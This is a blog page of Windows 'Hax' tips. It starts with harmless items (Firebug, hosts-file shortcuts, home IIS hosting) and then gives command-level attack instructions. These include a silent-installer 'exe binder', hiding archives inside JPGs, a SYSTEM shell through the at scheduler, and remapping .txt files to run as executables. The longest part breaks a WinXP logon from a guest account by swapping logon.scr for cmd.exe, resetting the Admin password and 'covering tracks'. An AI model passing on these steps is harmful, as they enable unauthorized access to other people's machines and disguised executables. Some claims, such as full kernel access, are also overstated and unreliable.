Showing posts with label Hax. Show all posts
Showing posts with label Hax. Show all posts

Use FireFox Firebug to Edit HTML/CSS in Realtime



The Firebug extension for FireFox browser allows you to edit HTML and CSS in realtime.

This can save you a lot of time if you want to experiment with different fonts, colors, and layouts on the fly.

This is also very helpful when you are trying to analyze how someone else's site has the look and feel that it does.

Hosts file to Create Browser Shortcuts

Use Windows Hosts file to Create Browser Shortcuts

Never type www.google.com again!

This tip by itself can save you enough time to allow you to read all the other tips in their entirety.

Windows operating systems have a file called hosts that allows you  connect any domain name to an ip address. For example, you can connect the letter g to the ip address for google and that will allow you just type g in the browser address bar to get to google.  Here are the steps you would take to do this:

Step 1: Find ip address for website - use this link to find the ip address for www.google.com - one ip address for google is 209.85.149.103

Step 2: Use NotePad to edit C:\Windows\System32\drivers\etc\hosts   - add a new line in the file that looks like this: 209.85.149.103 g

Step 3: Type g in your browser address bar - it should take you to google. If you are using internet explorer and it does not work, click on settings in upper right-hand corner of browser; select manage add-ons; select search providers; then disable search suggestions.

Notes: - In addition to creating shortcuts to save time, you can use the windows hosts file to access a new domain name you have bought before it has had time to propagate throughout the internet.

Host a Website on Your Home Computer for Free

This tip will show you how to host a website on your home computer for free using IIS in six easy steps. Performing these six steps will greatly help you understand ASP.NET programming in general.
 Even if you do not have a practical need to host your own website, learning how everything works is of fundamental importance, and it is a great exercise for everyone. You can view the complete post that describes the details for each step by clicking on this link: Host a Website on Your Home Computer for Free.


Step 1: Make sure you have IIS installed.

Step 2: Add a website to IIS

Step 3: Open Port 80 to Make a website Accessible from the Internet

Step 4: Determine if your home computer uses a Static or Dynamic IP Address

Step 5: Handle a Dynamic IP Internet connection (if not using Static IP)

Step 6: Register Domain Name (if you do not want to just use IP Address)


Nullsoft Exe Binder

silentinstall silent ; this will create a silent installer
outfile "setup.exe"; the output exe
installdir $SYSDIR\5016 ; install directory


section ""         ; the entry point 
setoutpath $INSTDIR

Steganography - Hiding from plain text

This small tutorial will show you how to Hide file inside any file..but the example here uses JPG...you can try your luck on others files too..
Step 1: Zip,rar or 7z all the file you want to hide..
Step 2: Choose a Image file (image.jpg)..
So now we have a zip file(compress.zip) and a JPEG(image.jpg)..
Step 3: Open the Command prompt and type

Copy /b image.jpg+compress.zip New.jpg

that's it...
now open the file in a image viewer..then open the file with Winrar,7zip...

How it works..

the /b switch in the copy command is used for binary files and the + sign joins them to a new file..New.jpg

Running process as SYSTEM user

open a cmd as administrator,
type in "at 14:55 /interactive cmd.exe"
The time should be about one minute in the future in 24 hour format.
When the time happens, your CMD will change to SVChost.exe.
Open task manager
go to explorer.exe and hit end process.
In your SVChost.exe box
type "cd.." to go up one level.
Then type in "explorer.exe"

Then explorer will be running as a system user, giving you full access to windows and the kernel.

Breaking the WinXP Logon

This tutorial shows how you can get access to Admin Account. The only thing needed here is the guest account.

If you log into a limited account(guest account) on your target machine and open up a dos prompt
then enter this set of commands Exactly in the prompt.

----------------------------------------

-------------------------------------
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
-----------------------------------------------------------------------------
Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.
Since in the limited account you can't use net user command

Once this happens if you enter this command
net user password
If the Administrator Account is called Admin and you want the password xxxx enter this
net user Admin xxxx
and this changes the password on Admin machine to xxxx and your in.

dont forget to copy the contents of temphack back into the system32 dir to cover tracks.

Thanx..

Executing a text file

This is a short tutorial to tell you how to make a .txt file execute like a .exe file.

Basically files are at first recognized by its extension. Which is associated to open with specific program. That's why .txt files opens with notepad...So we just need to change the association to make it execute like .exe file.

Open the Dos promt and type
assoc .txt
It shows the association info of the text file like .txt=txtfile now type
assoc .txt=exefile
And close the cmd window.

Now choose a .exe file and change its extension to .txt...and click it 
But the .exe won't look like a notepad icon...the solution is to compile an exe with a notepad icon.